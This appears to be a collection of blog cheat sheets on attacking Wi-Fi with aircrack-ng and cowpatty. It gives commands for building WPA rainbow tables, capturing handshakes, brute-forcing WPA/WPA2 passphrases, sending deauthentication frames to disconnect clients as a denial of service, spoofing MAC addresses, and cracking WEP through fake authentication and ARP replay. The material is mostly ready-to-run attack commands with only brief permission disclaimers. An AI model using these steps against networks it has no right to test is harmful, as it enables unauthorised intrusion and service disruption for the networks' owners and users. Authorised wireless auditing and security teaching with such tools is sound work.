WPA rainbow tables with cowpatty and aircrack-ng suite

No introduction necessary. If you do not know what a rainbow table is then you will just have to use google or read some of my previous posts.

[using cowpatty suite]

# ./ genpmk -f wordlist.lst -d hash_tables.lst -s "linksys" //Generates a salted rainbow table using the wordlist file and the ssid name "linksys"

# ./cowpatty -d hash_tables.lst -s "linksys" -r wpa.pcap //command to crack the WPA key using the rainbowtable and the pcap file

[using aircrack-ng suite]

# airolib-ng table.db --import essid ssids.lst // creates a new database and imports the ssids to be used as salts

# airolib-ng table.db --import passwd wordlist.lst //imports the wordlist/passwords into the database

# airolib-ng table.db --batch //performs all the necessary processing of the essid and password combination

# airolib-ng table.db --verify //verifies the integrity of the ssid/password pairs

# aircrack-ng -r table.db wpa.pcap //command to crack the WPA key using the rainbowtable and the pcap file

WPA/WPA2 PSK cracking quick reference

There are too many guides and resources out there to doing this stuff so i wont be giving much explanation and theory on WPA hacking. Remember, this should only be performed on networks that you have permission to audit the security of. This here will serve as a quick and dirty cheatsheet of commands necessary to potentially audit the strength/weakness of your wireless networks using the aircrack-ng or cowpatty to bruteforce the password using a wordlist.

# airmon-ng start wlan0 // put interface in monitor mode

# airodump-ng mon0 // scan air for targets

# airodump-ng --channel 1 --bssid "AP_MAC_addr" -w wpa.cap mon0 //filter capture packets from a specific AP's MAC address and channel

#aireplay-ng --deauth 5 -a "AP_MAC_addr" -c "Client_MAC_addr" mon0 //Perform a deauthentication attack on a client to force reassociation in hope of capturing WPA handshake

When Handshake is captured

using cowpatty:
# cowpatty -f passwords.lst -r wpa.cap -s "essid_of_network" //attempt to bruteforce the password using wordlist

using aircrack-ng:
# aircrack-ng -w passwords.lst -e "essid_of_network" wpa.cap //attempt to bruteforce the password using wordlist

Forcefully disconnect a wireless client

Is it possible to disconnect a wireless client connected to a highly encrypted wireless network? Uhh, apparently yes. I been messing around with the aircrack-ng suite of tools (again) recently and decided to dive deeper into its capabilities. In a past blog, i wrote briefly about aircrack-ng and cracking WEP keys. I didn't speak in depth about its features then but would like to add just a little bit more. This time i'll be showing some commands that i've used to disconnect one of my wireless laptops, using a netbook that wasn't even autheneticated or connected to my wireless router. What this means is that any user can do a drive by in his automobile and forcefully cause me to disconnect from my wireless router, and cause a denial of service. This denial of service is for a brief period in time as the wireless clients may automatically try to reconnect to their wireless systems.

First turn your wireless card into monitor mode:
# airmon-ng start wlan0

Then scan the air for wireless AP's and clients
# airodump-ng mon0

When you found a an access point that has a client connected, you can filter your scan. This also sets the interface to operate on that particular channel for injecting packets:
# airodump-ng --channel 9 -b aa:aa:aa:aa:aa:aa mon0

And finally, the injection of death frames
#aireplay-ng -a aa:aa:aa:aa:aa:aa -c bb:bb:bb:bb:bb:bb --deauth 1 mon0

'-a' represents the MAC address of the target access point
'-c' represents the MAC address of the target host

Cracking WEP with aircrack-ng ( cheat sheet)

We all should by now be aware of the famous insecurities of the wireless encryption WEP. Because of its implimentation of weak IVs (initialization vectors) in the packets, it becomes quite easy to guess certain packets (arp broadcast for example). The idea behind the attack is to capture enough packets so a program like aircrack can perform some analysis on the capture IVs and hence derive what the WEP key should be. We would be using the aircrack-ng suite of tools to crack us some WEP. Please perform this attack on your own network. This should be used only to audit the security of your own network or neworks to whom you have the right permissions to audit.

[Cheat sheet] using Bactrack4:

# ifconfig wlan0 down //bring down the wireless interface
# macchanger -r wlan0 //change your mac address to a random fake one
# ifconfig wlan0 up //bring back up the wireless intereface
# airmon-ng start wlan0 //create an interface that listens on monitor mode
# airodump-ng mon0 //analyze the air for potential WEP targets
# airodump-ng --bssid "mac_address_of_targetAP" --channel "channel_of_tacgetAP" -w wep.pcap mon0 //start capturing packets of your intended victim
# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" --fakeauth 0 mon0 //perform a fake authentication to access point
# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" --deauth 10 -c "Connected_client_mac_address" mon0 //Send deauth packets to disconnect a client from the target access point
# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" -3 mon0 //perform arp replay attack to speed up the data retrieval process
#aircrack-ng -b "mac_address_of_targetAP" -P 2 wep.pcap-01.pcap //when there is enough packets (10000 or more) use aircrack this way to attemp to crack the WEP key


Thats it ...
Please use google to find out more information about the insecurities of WEP.